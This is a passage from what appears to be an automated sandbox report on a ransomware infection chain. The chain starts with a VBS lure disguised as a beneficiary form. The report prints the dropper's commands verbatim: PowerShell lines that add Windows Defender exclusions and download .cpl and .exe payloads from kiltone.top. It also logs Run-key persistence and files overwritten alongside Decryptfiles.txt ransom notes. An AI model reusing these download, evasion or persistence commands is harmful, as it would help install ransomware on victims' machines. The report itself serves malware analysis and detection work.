Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeSection loaded: wldp.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: mswsock.dll
Source: C:\Windows\System32\notepad.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\notepad.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\notepad.exeSection loaded: mrmcorer.dll
Source: C:\Windows\System32\notepad.exeSection loaded: windows.storage.dll
Source: C:\Windows\System32\notepad.exeSection loaded: wldp.dll
Source: C:\Windows\System32\notepad.exeSection loaded: textshaping.dll
Source: C:\Windows\System32\notepad.exeSection loaded: efswrt.dll
Source: C:\Windows\System32\notepad.exeSection loaded: mpr.dll
Source: C:\Windows\System32\notepad.exeSection loaded: wintypes.dll
Source: C:\Windows\System32\notepad.exeSection loaded: twinapi.appcore.dll
Source: C:\Windows\System32\notepad.exeSection loaded: oleacc.dll
Source: C:\Windows\System32\notepad.exeSection loaded: textinputframework.dll
Source: C:\Windows\System32\notepad.exeSection loaded: coreuicomponents.dll
Source: C:\Windows\System32\notepad.exeSection loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exeSection loaded: ntmarta.dll
Source: C:\Windows\System32\notepad.exeSection loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\notepad.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\notepad.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\notepad.exeSection loaded: netutils.dll
Source: C:\Windows\System32\notepad.exeSection loaded: propsys.dll
Source: C:\Windows\System32\notepad.exeSection loaded: policymanager.dll
Source: C:\Windows\System32\notepad.exeSection loaded: msvcp110_win.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: mswsock.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iphlpapi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: framedynos.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: msxml6.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: urlmon.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: iertutil.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: srvcli.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: netutils.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: uxtheme.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: vcruntime140_1.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: amsi.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: userenv.dll
Source: C:\Windows\System32\wbem\WMIC.exeSection loaded: profapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXESection loaded: mswsock.dll
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\installs.ini
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
Source: Binary string: Z:\scvhost\Release\scvhost.pdb source: eryy65ty.exe, 00000022.00000000.1564548857.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002A.00000000.1725571622.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002D.00000000.1808036248.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe.31.dr
Source: Binary string: Z:\lderd\Release\lderd.pdb source: fjeljies.cpl.16.dr
Source: Binary string: Z:\scvhost\Release\scvhost.pdbd source: eryy65ty.exe, 00000022.00000000.1564548857.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002A.00000000.1725571622.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe, 0000002D.00000000.1808036248.0000000000C7B000.00000002.00000001.01000000.00000009.sdmp, eryy65ty.exe.31.dr

Data Obfuscation

barindex
Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: .Run("powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\App", "0", "true");IWshShell3.ExpandEnvironmentStrings("%temp%");IWshShell3.Run("powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\App", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.ExpandEnvironmentStrings("%temp%");IWshShell3.Run("powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\App", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.", "0", "true");IWshShell3.ExpandEnvironmentStrings("%temp%");IWshShell3.Run("powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\App", "0", "true");IWshShell3.Run("cmd /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0", "0", "true");IWshShell3.Run("cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.", "0", "true");IWshShell3.Run("cmd /c control %temp%/fjeljies.cpl", "0", "true")
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cplJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\fjeljies.cplJump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\eryy65ty.exeJump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\fjeljies.cplJump to dropped file
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: Chrome Cache Entry: 593
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: Chrome Cache Entry: 593Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessibility\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Administrative Tools\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\System Tools\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XPSUDTARW
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run XPSUDTARW

Hooking and other Techniques for Hiding and Protection

barindex
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dd4cmrln.ljv.ps1 offset: 0Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aakjs4su.ynx.psm1 offset: 0Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cmijsyeu.ejv.ps1 offset: 0Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3iigs5yg.am1.psm1 offset: 0Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 0Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ce5tmog3.w5r.ps1 offset: 0Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y25lwppa.tsg.psm1 offset: 0Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 0Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zdqsw1gs.ytr.ps1 offset: 0Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_muq24lzp.1ro.psm1 offset: 0Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\fjeljies.cpl offset: 0Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 0Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_10rclwu2.hdm.ps1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_czjtfiqo.ezw.psm1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wt0cmllf.f1b.ps1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3nxkjeth.jqb.psm1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 64
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 104
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 262
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 1168
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 1172
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c5gy5d2y.w0s.ps1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tmgfecbn.m42.psm1 offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\eryy65ty.exe offset: 0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Temp\eryy65ty.exe offset: 900867
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile written: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\AppData\Local\Temp\Decryptfiles.txt offset: 4112
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\ATJBEMHSSB\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\AQRFEVRTGL.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\BQJUWOYRTO\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\BQJUWOYRTO.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\BUFZSQPCOH.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\BWETZDQDIB\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\HMPPSXQPQV\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\HMPPSXQPQV\BQJUWOYRTO.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\HMPPSXQPQV\BUFZSQPCOH.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\HMPPSXQPQV\BWETZDQDIB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\HMPPSXQPQV\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\HMPPSXQPQV\QFAPOWPAFG.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\HMPPSXQPQV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\HMPPSXQPQV.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\HQJBRDYKDE.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LFOPODGVOH\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LFOPODGVOH\HMPPSXQPQV.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LFOPODGVOH\LHEPQPGEWF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LFOPODGVOH\QFAPOWPAFG.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LFOPODGVOH.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LHEPQPGEWF.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LIJDSFKJZG\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LIJDSFKJZG\GNLQNHOLWB.mp3 offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LIJDSFKJZG\PWZOQIFCAN.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LIJDSFKJZG\SNIPGPPREP.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LIJDSFKJZG\VWDFPKGDUF.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LIJDSFKJZG.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\LIJDSFKJZG.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\NIRMEKAMZH\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\QFAPOWPAFG\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\QFAPOWPAFG.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\UBVUNTSCZJ\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\SNIPGPPREP.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\UNKRLCVOHV\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\UNKRLCVOHV\AQRFEVRTGL.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\UNKRLCVOHV\HMPPSXQPQV.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\UNKRLCVOHV\LFOPODGVOH.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\UNKRLCVOHV\UNKRLCVOHV.docx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\VWDFPKGDUF.pdf offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\WDBWCPEFJW\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\VWDFPKGDUF.xlsx offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Desktop\WSHEJMDVQC\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\ATJBEMHSSB\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\AQRFEVRTGL.png offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\BQJUWOYRTO\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\BQJUWOYRTO.jpg offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\BWETZDQDIB\Decryptfiles.txt offset: 0
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile written: C:\Users\user\Documents\BUFZSQPCOH.png offset: 0
